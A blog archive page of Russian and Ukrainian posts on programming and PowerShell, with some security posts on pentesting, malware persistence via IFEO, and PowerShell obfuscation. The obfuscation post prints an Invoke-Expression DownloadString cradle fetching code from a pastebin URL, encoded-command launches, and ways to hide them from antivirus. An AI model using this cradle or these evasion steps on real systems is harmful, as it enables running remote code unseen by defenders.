Главная


Showing posts with label кодирование. Show all posts
Showing posts with label кодирование. Show all posts

Wednesday, 22 October 2025

Про Code Assistant в Google AI Studio.

Привіт привіт.

Пару слів про Code Assistant в Google AI Studio Build.

Code Assistant дає вам унікальну можливість  зібрати  свій GUI онлайн з відподвідним функціоналом не написавши жодного рядка коду (vibe coding). Deploy вашого проекта на ваш сервер не безкоштовний, тому повторно це питання не розглядаю. Все що описано далі працює там само в Google AI Studio в межах плану Free Tier.

Code Assistant,  далі Асистент, хоча і має свою штатну потужну інструкцію щодо роботи з вашими "хотелками", в налаштуваннях є можливість задати свою(для нього) особливу поведінку помічника.

Так само як і  моя Pixel AI Studio має поле для інструкції з поведінки з вами. Яку можно і написати прямо в поле так і завантажити з файлу.


Варто кожного разу слідкувати щоб Асистент не почав перероблювати те що ви його не просили, він буває занадто активним щоб вам допомогти. 

Взагалі можно скористатися варіантами бекапів коду як то на github або просто архівом zip собі на ПК. Але майте на увазі, шо відновлювати проект у разі краху будете руцями, майже копіпастом((, Асистент не має автоматичного відкату, або його можно попросити це зробити типу "fix it", але вирогідність щоб все буде Ок не 100%.

Тут так само треба пильнувати якщо ваш проект або впав або добряче перероблений не в бік ваших бажань, то варто просто зробити вихід з Асистента БЕЗ збереження змін. Ваш Асистент буде багато раз вибачатися, але не виправить те що накоїв...)

Іноді варто вести з Асистентом мультимодальний діалог - коли він не розуміє що ви від нього хочете словами, то закинтьте йому ще скріншот "як треба", він чудово вміє аналізувати зображення.

Асистент любить накидувати пропозиції (suggestions) по ходу роботи з покращення вашого застосунку, але тут також є глюк - більшіcть з них вже можуть бути в проекті, тому на ваш розсуд. Але іноді запитати про покращення його варто, з фразою в кінці "нічого не роби, тільки пропонуй!"

На останок, якщо вам цікаво, мною до Pixel AI Studio додано фічі Analyzer зображень, Detector AI та 'Inspire me'. Також тепер я можливість додавати стилі прямо з локального файлу. Також відновлення старих чб фото винесено в окремий workflow 'Old Photo Restoration'. Нові функції поки не опубліковані, вони на  стадії тестування або покращення.)

Щасти.

PS: варіант системного промта:

Friday, 19 September 2025

Используем ShowWindow.

Всем привет.

Проходя по случаю продвинутый курс нахожу новые для себя нюансы, т.е. полезно открывать для себя новое, ну  или хорошо забытое.)

Итак вчера попалась мне еще одна полезная фишка в Powеrshell, как ключик (параметр) ShowWindow. Он точно работает с Get-Help. Что он делает? 

Пересылает вывод в отдельное окно в котором, внимание, есть поле поиска по результату вывода. Очень удобно.


И что хорошо что работает он как в ISE или VS Code, так и в консоли Powеrshell. Пользуемся на здоровье!

Удачи.

Friday, 26 August 2022

WinForms альтернативи.

Всім привіт.

Сьогодні поговоримо про альтернативи створення WinForms.

WPF vs ShowUI

Windows Presentation Foundation (WPF) є іншим, новішим засобом створення GUI в .NET. Ми не говоримо про інструмент точно так само, як PowerShell Studio для WPF, але ви можете не відчувати того що він вам потрібен. WPF не створює графічний інтерфейс програмно, як це робить WinForms. Натомість визначення графічного інтерфейсу  міститься у файлі XML (технічно конкретний формат XML називається XAML, для Extensible Application Markup Language). Ви можете отримати будь-яку з  безкоштовних «Express» версій Visual Studio та використовувати її вбудований інструмент для створення форм WPF, який дуже схожий на PowerShell Studio, для створення файлу XAML. Тоді просто скажемо PowerShell (ну, ви скажете .NET) завантажити XAML і щось з ним зробити. Наступний код демонструє приклад того, про що ми говоримо.


Tuesday, 16 November 2021

Подписываем PowerShell скрипт с помощью сертификата.


Всем привет.

Наличие цифровой подписи у скрипта или исполняемого файла позволяет пользователю удостовериться, что файл является оригинальным и его код не был изменен третьими лицами. В современных версиях PowerShell есть встроенные средства для подписывания кода файла скриптов *.ps1 с помощью цифровых сертификатов.

Для подписывания скриптов PowerShell нужно использовать специальный сертификат типа Code Signing. Этот сертификат может быть получен от внешнего коммерческого центра сертификации, внутреннего корпоративного Certificate Authority (CA) или можно даже самоподписанный сертификат.

Шаг 1 - сертификат.

В первую очередь нам нужно получить сертификат типа CodeSign из локального хранилища сертификатов текущего пользователя. Сначала выведем список всех сертификатов, которые можно использовать для подписывания кода:

Get-ChildItem Cert:\CurrentUser\My -CodeSigningCert

Возьмем первый сертификат и сохраним его в переменную $cert.

$cert = (Get-ChildItem cert:\CurrentUser\my –CodeSigningCert)[0]

Затем можно использовать данный сертификат, чтобы подписать файл PS1 с вашим скриптом PowerShell:

Set-AuthenticodeSignature MyTest.ps1 -Certificate $cert

Или

Set-AuthenticodeSignature -Certificate $cert -FilePath MyTest.ps1

Теперь можно проверить, что скрипт подписан. Можно использовать командлет Get-AuthenticodeSignature  или открыть свойства PS1 файла и перейдти на вкладку Digital Signatures: Get-AuthenticodeSignature MyTest.ps1 | ft -AutoSize

Если при выполнении команды Set-AuthenticodeSignature появится предупреждение  UnknownError, значит наш сертификат недоверенный, т.к. находится в персональном хранилище сертификатов пользователя. Нужно переместить его в корневые сертификаты:

Move-Item -Path $cert.PSPath -Destination "Cert:\LocalMachine\Root"

Хотя наш сертификат теперь из доверенного Центра Сертификации, но он не от доверенного издателя. Поэтому следует его также скопировать в раздел Trusted Publishers с помощью обычной операции Copy-Paste в консоли Certificates.

Friday, 17 September 2021

Регулярные выражения.

Всем привет.

Есть такая штука как Регулярные выражения. Тот кто ими пользуется знает что это как еще один язык выучить. И их знание не абы какой плюс при приеме на работу. Но все равно диалекты регулярных выражений в контексте других языков программирования могут быть разными. Я ими пока не владею, потому что "я ведь не волшебник, я только учусь".

А пока могу рекомендовать отличные курсы по регулярным выражениям, на которых страдаю сам:

1. Using Regular Expressions with Kevin Skoglund, lynda.com | Using Regular Expressions (2011).

2. Jeffrey Way - Regular Expressions - Up And Running,

http://code.tutsplus.com/courses/regular-expressions-up-and-running

И на сегодня для вас небольшая шпаргалка по использоваию регулярок с JavaScript.

<script type="text/javascript">

//Создание

var pattern = new RegExp(pattern [, flags]); //Полная форма

var pattern = /pattern/flags; //Сокращенная форма записи (литеральный формат)

//Динамическое создание регулярного выражения

var emails = ['gmail', 'yahoo', 'hotmail', 'live', 'rambler'];

var re = new RegExp(emails.join('|', 'i')); //gmail|yahoo|hotmail|live|rambler/i

/**

где pattern — шаблон регулярного выражения,

     flags — способ поиска, может принимать:

          g — глобальный поиск (обрабатываются все совпадения с шаблоном поиска);

          i — не различать строчные и заглавные буквы;

          m — многострочный поиск.

*/

</script>

Tuesday, 22 June 2021

Проводим пентест, часть 6 - пишем эксплоит.

Всем привет.

Сегодня 6-я часть из серии публикаций Андрея Бирюкова, посвященных проведению аудита и теста на проникновение (пентест). Оригинал статьи был опубликован в журнале "Системный администратор" №11(168), ноябрь 2016. Как пишет сам автор, эта часть является продолжением темы про кодирование приложений и в известной степени нудная. По своему опыту скажу что инструкции ассемблера сейчас знают единицы, потому как такой язык давно не в тренде. Тем не менее я решил сохранить серию публикаций автора полностью.

Часть 6. Пишем эксплоит.

Что собой представляет эксплоит? Как правильно внедрить шелл-код? Продолжаем тему самостоятельной разработки.

В этой статье мы продолжим обсуждение темы самостоятельной разработки эксплоитов к самописному программному обеспечению. В предыдущей статье цикла [1] был рассмотрен процесс поиска уязвимостей (фаззинг) в почтовом сервере SLMail. Мы выяснили значения адресов для регистров ESP и EIP, а также объем блока памяти, который нужен для размещения нашего эксплоита. Однако перед тем как перейти к описанию процесса разработки кода, нам придется уделить внимание основам программирования на языке ассемблер, так как без этого понять все особенности разработки кода эксплоита будет довольно трудно. В рамках данной статьи я не буду подробно рассматривать все инструкции, ограничусь комментариями кода. Во врезке представлены основные инструкции ассемблера, необходимые при анализе кода.

Простые действия.

Читателю, не знакомому с низкоуровневым программированием, материал, изложенный в этой статье, может показаться довольно сложным, а описываемые действия – набором хаотичных операций, не связанных между собой.

Для лучшего понимания приведу основные шаги, которые необходимо предпринять для разработки эксплоита:

1. Разработка кода эксплоита. Здесь подробно рассмотрим, что собой представляет шелл-код для Windows.

2. Адаптация кода для встраивания его в уязвимую программу. Здесь мы поговорим о том, как обойти ограничения, связанные с использованием нескольких сегментов памяти.

3. Получение адресов, используемых в нашем шелл-коде функций kernel32.dll и генерации кода эксплоита.

4. Обнаружение всех «плохих» байтов в уязвимой программе.

5. Замена найденных bad chars в нашем шелл-коде. 

7. Поиск в уязвимой программе команд, необходимых для выполнения перехода на наш шелл-код.

8. Внедрение шелл-кода в уязвимую программу. 

9. Автоматизация разработки эксплоита с помощью средств Metasploit.

Эксплоит, который мы будем разрабатывать далее, требует встраивания в уже работающую программу. Вследствие этого существует ряд ограничений, о которых мы также будем говорить далее.

Программа может состоять из нескольких частей, называемых модулями. В каждом модуле определяется один или несколько сегментов данных, стека и кода. Любая законченная программа на ассемблере должна включать один модуль, с которого начинается ее выполнение. Модуль содержит сегменты кода, сегменты данных и стека, объявленные при помощи соответствующих директив. Перед объявлением сегментов нужно указать модель памяти при помощи директивы .MODEL.

Friday, 11 June 2021

Проводим пентест, часть 5 - поиск уязвимостей в приложениях.

Всем привет.

Сегодня 5-я часть из серии публикаций Андрея Бирюкова, посвященных проведению аудита и теста на проникновение (пентест). Оригинал статьи был опубликован в журнале "Системный администратор" №10(167), октябрь 2016. Эта часть интересна тем, что она затрагивает основы кодирования приложений, которые присутствуют во многих кампаниях, которые предпочитают иметь собственный штат разработчиков.

Часть 5. Поиск уязвимостей в «самописных» приложениях.

Проводить проверку на уязвимости для «самописного» ПО также необходимо, как и для сторонних приложений. Расскажем, как это сделать самостоятельно. В предыдущих статьях цикла [1-4] подробно рассмотрены различные способы проникновения в корпоративную  cеть. При этом был затронут вопрос поиска и эксплуатации уязвимостей. Продолжим обсуждение проведения аудита информационной безопасности и поговорим о поиске уязвимостей в «самописном» программном обеспечении.

Суть вопроса.

Не  секрет,  что  многие  компании  используют  в  своих  бизнес-процессах  программное  обеспечение  собственной разработки.  При  этом  качество  данного  ПО  может  быть различным. Крупные организации для разработки ПО прибегают  к  услугам  компаний-разработчиков  или  нанимают квалифицированных программистов себе в штат. Те, у кого денег  не  так  много,  для  разработки  ПО  могут  привлекать фрилансеров  и  студентов.  С  точки  зрения  безопасности и качества ПО наилучшим является первый вариант, когда для  создания  приложения  привлекается  компания-разработчик. В этом случае она не только несет ответственность за создаваемое ею программное обеспечение, но и за исправление найденных в нем ошибок. Очевидным недостатком  такого  метода  является  высокая  стоимость  разработки. Второй вариант предполагает нанимать программистов в  штат  компании  на  постоянной  основе.  Здесь  качество софта будет во многом зависеть от квалификации нанятых специалистов. С точки зрения экономии зачастую данный вариант не сильно дешевле первого. Ну а третий вариант наиболее распространенный. Компании привлекают людей на стороне для выполнения разовых задач. Зачастую приложение разрабатывает один человек, а его доработку и модернизацию ведет уже другой. Еще «веселее» бывает, когда доработка ведется в отсутствии исходных кодов приложения. В этом случае качество разрабатываемого ПО страдает сильнее всего.


Зачем это нужно.

Любое ПО содержит ошибки. Разработчика, будь то серьезная  компания,  или  фрилансера,  как  правило,  поджимают сроки. Чтобы успеть, он осознанно или нет допускает ошибки в программном обеспечении. Однако программные продукты (как бесплатные, так и коммерческие), которые разрабатываются для массового использования, находятся, что называется, у всех на виду. На портале Securityfocus.com [5] ежедневно публикуются отчеты о десятках новых дыр, найденных  экспертами  по  информационной  безопасности со всего мира. А вот ПО, разрабатываемое для нужд конкретных  заказчиков,  независимые  специалисты  не  проверяют. Многие могут возразить, что раз об этих приложениях никто не знает, то и эксплуатировать уязвимости в них будет  сложнее.  Но  «безопасность  через  неизвестность» (security through obscurity) – это не очень хорошая практика, так как проникший в корпоративную сеть злоумышленник сможет без труда найти дыру в самописном ПО. Таким  образом,  мы  приходим  к  выводу,  что  проводить проверку на уязвимости для «самописного» ПО также необходимо, как и для сторонних приложений. Однако в силу приведенных выше причин описанные в предыдущих статьях  инструменты  Nessus,  Open  VAS  и  Metasploit  будут  нам не слишком полезны. В лучшем случае мы сможем идентифицировать открытые порты и уязвимые библиотеки, которые использовали разработчики (например, OpenSSL). Далее мы будем рассматривать два варианта поиска уязвимостей: с исходными текстами программы и без него.

Monday, 23 November 2020

Пользовательский модуль в Ansible.


Всем привет.

На данный момент вам может начать казаться, что управление сетевыми средствами в Ansible во многом зависит от обнаружения правильного модуля для своего устройства. Модули предоставляют некий способ абстрактного взаимодействия между управляемым хостом и самой управляющей машиной, в то время как он делает для вас возможным сосредоточиться на самой логике вашей работы. До этого момента мы знаем что все основные производители предоставляют некий широкий диапазон поддержки модулей для Cisco, Juniper и Arista.

Рассмотрим в качестве примера модули Cisco Nexus - помимо конкретных задач, таких как управление соседним BGP (nxos_bgp) и сервером aaa (nxos_aaa_server), большинство производителей также предоставляют способы исполнения произвольного отображения (nxos_config) и настройки (nxos_config) команд. 

Но что если используемое нами в настоящий момент устройство не имеет прямо сейчас никаких модулей, которые мы бы могли найти в сети? 

Поэтому мы рассмотрим способ которым можно устранить такую ситуацию написав свой собственный пользовательский модуль.

1-й пользовательский модуль.

Написание некоторого пользовательского модуля не обязательно усложнять, на самом деле он даже не обязан быть на Python. Но сегодня мы будем использовать Python для наших пользовательских модулей. Мы предполагаем, что данный модуль это то, что мы будем применять самостоятельно и в своей команде не обращаясь дополнительно к Ansible, таким образом игнорируя некое документирование и форматирование. По умолчанию, если вы создаёте некую папку библиотеки в том же самом каталоге, что и ваш плейбук, Ansible включит этот каталог в путь поиска модуля. Такие модули должны возвращать некий вывод JSON обратно в свой плейбук.

Monday, 9 March 2020

Методы персистентности кода.

Всем привет.

Часто злоумышленники хотят, чтобы их вредоносная программа оставалась на взломанных компьютерах даже после перезагрузки Windows. Это достигается с помощью различных методов: они позволяют злоумышленнику оставаться во взломанной системе без повторного заражения. Существует много способов запуска вредоносного кода при каждом запуске Windows. 

Все эти методы называются методами персистентности зловредного кода. Некоторые из методов вам знакомы давно и вы ими пользуетесь из благих намерений, а вот другие используются намного реже. Часть методов даже позволяют выполнять вредоносный код с повышенными привилегиями.

Известный специалист инфобеза Монаппа К. А. в своей книге "Learning Malware Analysis" приводит 10-ть методов персистентности:

1 Запуск ключа реестра
2 Запланированные задачи
3 Папка запуска
4 Записи реестра Winlogon
5 Параметры выполнения файла изображения
6 Перехват специальных возможностей (клавиатура, диктор, лупа, распознавание речи)
7 Метод AppInit_DLLs
8 Захват порядка поиска DLL
9 Захват COM-объекта
10 Перехват Службы.

Уверен, что каждому второму пользователю Windows знакомы первые 4. А вот остальные заслуживат более пристального внимания.

Сегодня скажу пару слов про "Параметры выполнения файла изображения".

Параметры выполнения файла изображения (Image File Execution Options – IFEO) позволяют запускать исполняемый файл прямо под отладчиком. Это дает разработчику возможность отладки своего программного обеспечения для исследования проблем в коде запуска исполняемого файла. Разработчик может создать подраздел с именем своего исполняемого файла в следующем разделе реестра и задать в качестве значения отладчика путь к отладчику:
Key: "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
<executable name>"
Value: Debugger : REG_SZ : <full-path to the debugger>

Saturday, 14 September 2019

С днем Программиста!

Их не понимают, их тихо боятся, им громко завидуют, к ним бегут за советом, на них ворчат и надеются одновременно. Их считают не от мира сего, хотя все уже давно не могут без этого мира жить. Они - это Программисты. Хотя сейчас имеющих отношение к ИТ намного больше и программисты немного затерялись среди других около ИТ-специальностей, но без них никак - код создают именно они. 


И хотя я сам уже давно не кодирую, сменил профиль, но Всех с кем творили, с кем сражались с чужим кодом и писали свой, причастных к этому процессу в прошлом и настоящем. Всех вас с праздником Программиста! 

Чудный 256-й день года, который к тому же пятница и 13-е.

Tuesday, 26 February 2019

Make Solution - те що вам треба!

Всім привіт.

Кажуть що Програмування - одна з найцінніших навичок для кар'єрного зростання, саморозвитку і створення чогось нового.

Ви вирішили стати розробником!

Незалежно від вибору мови або методу навчання, вам слід почати з самого початку. Треба починати з самих основ і бути наполегливим. Обраний напрямок в навчанні буде залежати більшою мірою від того, чому саме ви хочете навчитися програмувати і скільки часу ви готові приділяти цьому процесу. Зрозуміло ви можете записатися на професійні курси. Або якщо ви хочете створювати ігри і веб-сайти кращим вибором будуть інтерактивні курси. Безкоштовні онлайн тренінги і проекти можуть допомогти вам в написанні першої програми. Потрібно знайти потрібне джерело в залежності від мови програмування. Це гарна відправна точка, однак подальше навчання вам потрібно взяти на себе. Якщо ви застрягнете на якійсь проблемі або вам потрібно знайти відповідь на своє питання, не варто забувати про довідники та форуми.

А з якої мови почати?

Я думаю що перша мова має бути простою і популярною на ринку. Такою мовою є Python. Зазвичай його вибирають в якості першої мови програмування. Код програми на Python читабельний. Вам навіть не потрібно бути програмістом, щоб в загальних рисах зрозуміти, що відбувається в програмі. Через нескладний синтаксис Python вам знадобиться менше часу для написання програми, ніж, наприклад, на Java. Величезна база бібліотек, яка заощадить вам купу сил, нервів і часу. Python є високорівневою мовою. А значить, вам не потрібно особливо думати про осередки пам'яті і про те, що там розмістити. Python - це мова широкого призначення.

PHP - ще один дуже популярна мову. Вона навіть простіше, ніж Python. Дуже легко знайти собі ментора або рішення якої-небудь проблеми на форумі. Все тому, що в світі існує величезна кількість PHP-програмістів різного рівня. У PHP немає нормального імпорту, є безліч варіантів вирішення однієї і тієї ж задачі. Це іноді ускладнює навчання. І PHP заточений виключно під web.

Java може стати непоганим вибором для новачка. Ця мова популярніша, ніж Python, але і трохи складніше. Зате інструменти для розробки набагато краще опрацьовані. Варто лише порівняти Eclipse і IDLE. Після Java вам буде простіше перейти до роботи з низькорівневими мовами програмування.

Ruby - хороший вибір в якості другої мови, але не першої.

JavaScript - дуже проста мова, але нічому доброму він вас не навчить. А завдання першої мови програмування все-таки навчити вас чогось правильному, задати якусь логіку.

Sunday, 6 January 2019

У каждого свои игрушки.

Всем привет.

Господь наказывает нас за то, 
чего мы не способны представить…
Стивен Кинг, «Остров Дума»

По рекомендации одного журнала мне попал в руки роман молодого украинского писателя Максима Кидрука "Бот".

Сегодня Максим Кидрук стал первым украинским писателем, который специализируется на модном жанре технотриллера. В 2012-м году он презентовал «Бот» как первый украинский литературный технотриллер. 

С первых страниц просматривается идейная аналогия с российским фильмом "На игре" (2009).  У каждого свои игрушки. Можно также провести аналогию с романом Дена Брауна "Цифровая крепость" и Майкла Крайтона "Парк юрского периода". Хотя, по моему, у Крайтона более сильным является роман "Сфера". А в тему своего романа сам автор ссылается на крайтоновский "Рой".

Сюжеты, конечно, разные, но первопричина, возникшие проблемы, дележка на свой-чужой и последствия всего этого похожи. В принципе в последнее время модно, и перспективно, писать романы так чтобы они были максимально подогнаны для возможной экранизации в будущем. Судите сами, из перечисленных романов не экранизирована только "Цифровая крепость", и то скорее по причине технического прогресса который умотал далеко вперед.

Роман перегружен технически-научными подробностями, но спасибо автору, везде есть ссылки и сноски. Так что для читателя с не техническим складом ума текст подготовлен. Даже отрывок злополучного кода приведен. Максим, это было сильно, прям как у Дена Брауна.)

Насколько правдоподобны образы героев? Читатель этого не узнает. Наверняка автор писал что-то с себя, возможно даже главного героя Тимура. Не столь суть важно. Почти с самого начала романа звучит главный призыв - призыв к ответственности за свои действия, за свой код. Если это возможно. Или иначе: код сдан, проект закрыт, disclaimer указан.

Насколько слог романа литературен и корректен не берусь судить. Наверняка редактор его вычитывал. Единственное хочу заметить что прописывать матерщину в открытом виде право не стоит. Не добавляет она остроты ни сюжету, ни украинскому языку совершенно.

Читать или нет? Читать однозначно стоит. Жанр технотриллера раскрыт сполна. Но в целом 16+. Мне понравился. Книга имеет официальный перевод на русский и польский языки.

Следующим на чтение будет его «Твердыня» - второй триллер и восьмая художественная книга украинского писателя и путешественника. Роман также написан в жанре психотриллер (приключенческий) триллер. Одного из главных героев автор списал из себя. Ну разумеется, Максим).

Приятного всем чтения.

Wednesday, 26 December 2018

Жесткая обфускация в PowerShell.

Всем привет.

Как то я писал про кодирование команд в коде Powershell с параметром –EncodedCommand. Оказалось что тема обфускации в последнее время набирает популярности. Особенно в связи с тем что вирусня использует Powershell по полной для транспорта своей полезной нагрузки или своего запуска. 

А благодаря обфускации скрипт PowerShell можно спрятать от многих антивирусов.
Взгляните на эту строку. Что вы здесь видите?
;,,C^Md^,; ,^/^C^ ^ ", ( ((;,( ;(s^Et ^ ^ co^M3=^^ /^^an^o)) )))&&,,(,S^Et^ ^ ^cO^m2=^s^^ta^^t)&&(;(;;s^eT^ ^ C^oM1^=^n"^^e"t) ) &&, (( ;c^aLl,^;,S^e^T ^ ^ fi^NAl^=^%COm1^%%c^Om2%^%c^oM3^%))&&; (, ,(c^AlL^, ;,^ ;%Fi^nAl^%) ) "

Думаю - ничего. А ведь это всего лишь обфусцированная команда netstat /ano. Сегодня мы попробуем разобраться, как привести команды на PowerShell к такому виду. 

PowerShell в пентесте

Начнем с самого PowerShell. Почему в пентесте он используется так часто? Ну, как минимум потому, что PowerShell представляет собой командную оболочку и просто для понимания скриптовый язык, который используется в последних версиях операционной системы Windows. К тому же большая часть команд выполняется в памяти, что может помочь избежать детекта анвирусным ПО. Если на машине включено удаленное управление, то можно получить доступ к системе через зашифрованный трафик. Существуют отличные инструменты и фреймворки для работы с PowerShell. Также PowerShell можно вызывать из других  файлов (.bat, .doc, .xls, .ppt, .hta, .exe, .dll) и скриптов. С помощью PowerShell можно загружать код из интернета или файла на ПК и выполнять его. Для этого используется специальный командлет Invoke-Expression. Вот примеры использования.

Invoke-Expression -Command 'C:\directory\script.ps1'
'C:\directory\script.ps1' | Invoke-Expression
Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://pastebn.com/raw/MKM5QLaP')

Можно также использовать кодировку Base64. Для начала необходимо закодировать команды в Base64.

[Convert]::ToBase64String( [System.Text.Encoding]::Unicode.GetBytes('Ваш код'))

Перед выполнением надо будет декодировать их с помощью -EncodeCommand.

powershell -e RwBlAQALQBQAHIAbwBjGUAcwBzAA==
powershell -enc RwBlAHALQBQAHIAbwBjAGUAcwBzAA==
powershell -EncodedCommand RwBAHQALQBAHIAbwBjAGUAcwBzAA==

Процесс обфускации PowerShell довольно простой, так как это скриптовый язык и работает со строками, а не с исполняемым двоичным кодом. Итак, рассмотрим некоторые методы обфускации PowerShell. Будем рассматривать все на примере данной команды:

Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/MKM5QLaP')

Для начала постораемся убрать System из строки System.Net.WebClient. На выполнение самой команды это никак не повлияет, так как нет никакой необходимости писать System в функциях .NET.

Invoke-Expression (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/MKM5QLaP')

Tuesday, 27 November 2018

Лучшие редакторы кода для PHP разработчиков, часть 2.

Всем привет.

Продолжим наш обзор редакторов кода для PHP разработчиков. В первой части обзора были Sublime Text и Atom. Сегодня затронем Rapid PHP, PHPStorm и CodeLobster.



Rapid PHP

Rapid PHP - признанный редактор PHP с расширенной функциональностью, это позволяет называть его легковесной IDE.

Включает весь набор компонентов для написания скриптов на PHP и JavaScript, а также для использования HTML и CSS.

Есть несколько полезных особенностей для того, чтобы облегчить старт программистам-новичкам, например, привычный пользовательский интерфейс, отсутствие лишних элементов управления и встроенный PHP-интерпретатор.

Сразу после запуска программы предлагается минималистичный пользовательский интерфейс, далее в процессе работы можно скрывать и показывать все открытые панели нажатием одной клавиши F4.

Модернизированный редактор с проверкой синтаксиса PHP, вставкой фрагментов, подсветкой вхождений и высокой производительностью при открытии больших файлов.

Есть удобная функция "Go to anything", позволяющая по нажатию Ctrl + G произвести быстрый поиск и перейти к любому участку кода или файлу в проекте.

Много полезных возможностей можно ещё добавить в редактор установив дополнительные плагины. Чтобы просмотреть список доступных расширений, выберите в главном меню опцию "Plugins" -> "Manage Plugins".

Работа с кодом: расширенные возможности по редактированию PHP файлов, в том числе интегрированная документация и подсказки по функциям.



Например, чтобы получить подсказку по параметрам функции, достаточно ввести её имя и нажать комбинацию клавиш Ctrl + Shift + Space.

Saturday, 24 November 2018

Лучшие редакторы кода для PHP разработчиков, часть 1.

Всем привет.

Web-кодировщики проводят массу времени в своих редакторах и IDE, поэтому и к выбору программного обеспечения относятся чрезвычайно серьёзно.

Как минимум, среда программирования должна обеспечить проверку синтаксиса и коррекцию кода, автодополнение и автозавершение - всё то, что называется "code intelligence".

Следует принимать во внимание и целый комплекс используемых технологий - HTML, CSS, JavaScript, PHP, а так же распределённый характер любого WEB-приложения.

PHP - это серверный язык программирования и в большинстве случаев скрипты пишутся на одном компьютере, а выполняются на другом - в среде хостинговой операционной системы.

Серверная часть любого сайта также может включать огромное количество SQL-запросов и интенсивно взаимодействовать с базами данных.

Если вы решили выйти за пределы хобби-проектов и программировать профессионально, то критически важно, чтобы ваша программа, кроме продвинутых возможностей редактирования, поддерживала ещё и FTP протокол, понимала синтаксис SQL и предоставляла интерфейс для подключения к базам данных.

Давайте рассмотрим, как популярные редакторы кода и IDE реализуют такие важные для PHP разработчиков функции.

Сегодня будет первая часть обзора где померяем возможности знаменитого Sublime Text и Atom. Поехали.

Sublime Text

Sublime Text - этот редактор представляет отличный пример сбалансированной функциональности и скорости, наряду с нетребовательностью к ресурсам.

Последняя версия работает эффективно и быстро, так же уменьшилось количество используемой оперативной памяти. Работает на Windows, Linux и OS X, для Windows также есть портабельная версия. 

Wednesday, 25 July 2018

Построить GUI приложение в Powershell - легко.

Всем привет.

Недавно меня восхитила возможность строить красивые диаграммы в Powershell. Там была возможность построить на коленке dashboard для специалиста ИТ-безопасности.

Но я решил что одних диаграмм будет недостаточного, нужен небольшой GUI. Нужен? Да вот вам. Оказывается с помощью сборки System.Windows.Forms можно изобразить себе все что душе угодно. Правда? Абсолютно. Как это делается растолковано здесь с примерами. Да что там, вот пример PS1-кода из сети где собраны так сказать все возможности в одном месте.

Add-Type -assembly System.Windows.Forms

$main_form = New-Object System.Windows.Forms.Form
$main_form.Text ='Название формы'
$main_form.Width = 100
$main_form.Height = 100
$main_form.AutoSize = $true

$Label = New-Object System.Windows.Forms.Label
$Label.Text = "Label"
$Label.Location  = New-Object System.Drawing.Point(0,10)
$Label.AutoSize = $true
$main_form.Controls.Add($Label)

$button = New-Object System.Windows.Forms.Button
$button.Text = 'button'
$button.Location = New-Object System.Drawing.Point(160,10)
$main_form.Controls.Add($button)

$CheckBox = New-Object System.Windows.Forms.CheckBox
$CheckBox.Text = 'CheckBox'
$CheckBox.AutoSize = $true
$CheckBox.Checked = $true
$CheckBox.Location  = New-Object System.Drawing.Point(0,40)
$main_form.Controls.Add($CheckBox)

Friday, 15 June 2018

PowerShell и другие языки программирования.

Привет всем.

Технический писатель Коробко Иван Викторович в своей книге "PowerShell как средство автоматического администрирования" 2012-го года издания еще раз показал нам насколько PowerShell является универсальным инструментом. Я имею ввиду его главу про "PowerShell и другие языки программирования". Просто передам слово автору.

Довольно часто возникает потребность использовать вставки VB.NET или C# в листинге PowerShell. Это обусловливается невозможностью реализовать тот или иной функционал в PowerShell. Как правило, любую манипуляцию с любым объектом можно выполнить с помощью API-функции, вызываемой на низком уровне. Ярким примером является служба DFS, программное управление которой возможно только с помощью API-функций. Чтобы упростить изложение материала  приведем пример вывода обычного окна сообщения – MessageBox(). Реализуем вызов сообщения с помощью вставки листинга программного кода, написанного на VB.NET, в тело сценария на PowerShell и с помощью вызова соответствующей API-функции, описанной в VB.NET.

Компиляция кода на DOT.NET в PowerShell

Интеграция в PowerShell кода компилируемых языков, например C# или VB.NET, осуществляется несколько иным механизмом. Вставка программного кода также компилируется, однако вместо файла записывается в оперативную память. Успешная интеграция программного кода на DOT.NET обеспечивается с помощью двух объектов: с помощью первого объекта – CompilerParameters – осуществляется настройка параметров компиляции указанного кода, идентификация языка программирования. Второй объект изменяется в зависимости от используемого языка программирования в ставке. Для C# – Microsoft.CSharp.CSharp-CodeProvider, а для Visual Basic - Microsoft.VisualBasic.VBCodePro-
vider.

Фрагмент исполняемого кода на DOT.NET представляет собой описание класса с произвольным именем и минимум одной функции, имя которой так же произвольно. Листинг является значением переменной, заключенной, помимо кавычек, в символы @ (листинги П4.1 (C#) и П4.2 (VB.NET). При переносе листинга из Visual Studio в PowerShell необходимо следить за тем, чтобы иерархический путь ко всем методам и функциям был указан целиком, так как импорт пространств имен не поддерживается. Таким образом, вывести окно с помощью MsgBox() невозможно, следует указать полный путь – Microsoft.VisualBasic.Interaction.MsgBox().

Листинг П4.1. Вызов VB.NET-вставки из PowerShell (C#)

$provider = New-Object Microsoft.CSharp.CSharpCodeProvider
$params = New-Object System.CodeDom.Compiler.CompilerParameters
$params.GenerateInMemory = $True
$refs = "System.dll","System.Windows.Forms.dll"
$params.ReferencedAssemblies.AddRange($refs)
$txtCode = @"
Class mBox
Sub Main()
Microsoft.VisualBasic.Interaction.MsgBox ("Тестовое сообщение")
End Sub
End class
“@
$results = $provider.CompileAssemblyFromSource($params, $txtCode)
$mAssembly = $results.CompiledAssembly
$i = $mAssembly.CreateInstance("mBox")
$r = $i.main()

Листинг П4.2. Вызов VB.NET-вставки из PowerShell (VB.NET)

$provider = New-Object Microsoft.VisualBasic.VBCodeProvider
$params = New-Object System.CodeDom.Compiler.CompilerParameters
$params.GenerateInMemory = $True
$refs = "System.dll","Microsoft.VisualBasic.dll"
$params.ReferencedAssemblies.AddRange($refs)
$txtCode = @"
Class mBox
Sub Main()
Microsoft.VisualBasic.Interaction.MsgBox ("Тестовое сообщение")
End Sub
End class
"@
$results = $provider.CompileAssemblyFromSource($params, $txtCode)
$mAssembly = $results.CompiledAssembly
$i = $mAssembly.CreateInstance("mBox")
$r = $i.main()

Компиляция вставки на DOT.NET осуществляется в оперативной памяти. За это отвечает свойство GenerateInMemory. После завершения компиляции осуществляется выполнение скомпилированного кода. Для обращения к нужной функции необходимо указать класс, в котором она находится, а затем и саму функцию.

Sunday, 8 April 2018

Анонимный поиск работы в ИТ, кто же в тренде?

Всем привет.

Сегодня актуальная статистика от Джинна.

Джинн проанализировал, каким кандидатам больше всего пишут рекрутеры. 

